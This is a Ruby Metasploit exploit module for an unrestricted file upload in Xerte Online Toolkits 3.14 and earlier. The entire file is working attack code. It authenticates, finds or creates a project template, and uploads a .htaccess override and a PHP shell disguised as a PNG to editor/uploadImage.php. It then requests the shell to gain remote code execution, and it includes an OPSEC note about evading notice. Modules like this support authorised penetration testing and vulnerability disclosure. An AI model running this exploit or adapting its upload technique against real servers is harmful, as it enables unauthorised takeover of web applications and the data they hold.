## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image', 'Description' => %q{ This module exploits the user template file import function's unrestricted file upload in versions 3.14 and earlier to upload and execute a shell. This targets editor/uploadImage.php. This has only been tested in implementations where the authentication type is "Db". OPSEC - if the user is logged in elsewhere, they may experience interruptions - several requests sent to the server and activity is logged }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Lester' ], 'References' => [ ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'], ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available'] ], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DisclosureDate' => '2025-08-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]) ] ) end def login print_status('Attempting to authenticate...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/'), 'method' => 'POST', 'vars_post' => { 'login' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, 'keep_cookies' => true ) unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID') fail_with(Failure::NoAccess, 'Failed to authenticate with the target.') end print_good('Authentication successful.') end def check print_status('Performing check') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php') }) if res&.code == 200 if res.body.include?('No valid language definition found in the file!') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Safe end def trigger_payload print_good("Triggering shell at #{@web_path}") # using for loop with the range shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename) }) end def upload_payload(my_payload, filename) # construct the payload and upload mime = Rex::MIME::Message.new mime.add_part(my_payload, 'image/png', nil, %(form-data; name="upload"; filename=#{filename})) # web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"') mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"') # mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` register_file_for_cleanup("#{@media_path}#{php_filename}") register_file_for_cleanup("#{@media_path}.htaccess") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'), 'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" }, 'data' => mime.to_s ) if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!') fail_with(Failure::UnexpectedReply, 'payload was not uploaded.') end end def delete_lockfile(template_id) # The previous step made a get request to the template, effectively locking it. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'edithtml.php'), 'vars_get' => { 'template_id' => template_id.to_s }, 'vars_post' => { 'lockfile_clear' => 'delete_lockfile' } }) html = res.get_html_document vprint_status("Deleted lockfile for #{template_id}") variable_block = html.at('[text()*="mediavariable="]').text parse_template(variable_block) end def parse_template(template) # extract important variables from the template vprint_status('Parsing template') template.each_line do |line| if line && line.include?('mediavariable=') @media_path = line.split('"')[1] elsif line && line.include?('rlourlvariable') @web_path = line.split('"')[1] elsif line && line.include?('template_id') @template_id = line.split('"')[1] elsif line && line.include?('path = "') line = line.strip @template_path = line.split('"')[1] end end vprint_status("Found media: #{@media_path}") unless @media_path.blank? vprint_status("Found web path: #{@web_path}") unless @web_path.blank? vprint_status("Found template: #{@template_id}") unless @template_id.blank? end def find_valid_template # Iterates template ID's 1-20 to see if any exist and if the user has access. found_template = false for template_id in 1..20 do vprint_line("Checking template ID #{template_id}") res = send_request_cgi({ # this causes the template to become locked 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/edithtml.php'), 'vars_get' => { 'template_id' => template_id.to_s } }) if res&.code == 200 if res.body.to_s.include?('This project is currently locked as it is already being edited by you!') delete_lockfile(template_id) found_template = true print_status("Found mediavariable at #{template_id}") break elsif res.body.to_s.include?('Invalid template_id (could not find in DB)') vprint_line("Template #{template_id} doesn't exist") elsif res.body.to_s.include?('Permission denied') vprint_line("Template #{template_id} belongs to someone else") else vprint_line("Template ID #{template_id} is not locked") delete_lockfile(template_id) found_template = true print_status("Found mediavariable at #{template_id}") break end else print_bad("Error with template #{template_id}") end end unless found_template # If no projects are found, create one res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'), 'vars_post' => { 'tutorialid' => 'Nottingham', 'templatename' => 'Nottingham', 'tutorialname' => Rex::Text.rand_text_alpha(8), 'folder_id' => '' } }) if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record') # Ensure the project was created template_id = res.body.to_s.split(',')[0] print_status("Created template (id: #{template_id})") delete_lockfile(template_id) found_template = true end end # If for some reason, the previous project creation failed, it's probably best to create one manually. fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template end def exploit login find_valid_template # this exploit won't work unless a .htaccess file is also uploaded upload_payload(htaccess_payload, '.htaccess') upload_payload(payload.encoded, php_filename) print_status('Uploaded the PHP Payload file') trigger_payload end def php_filename @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php' end def htaccess_payload <<~PAYLOAD RewriteEngine Off PAYLOAD end end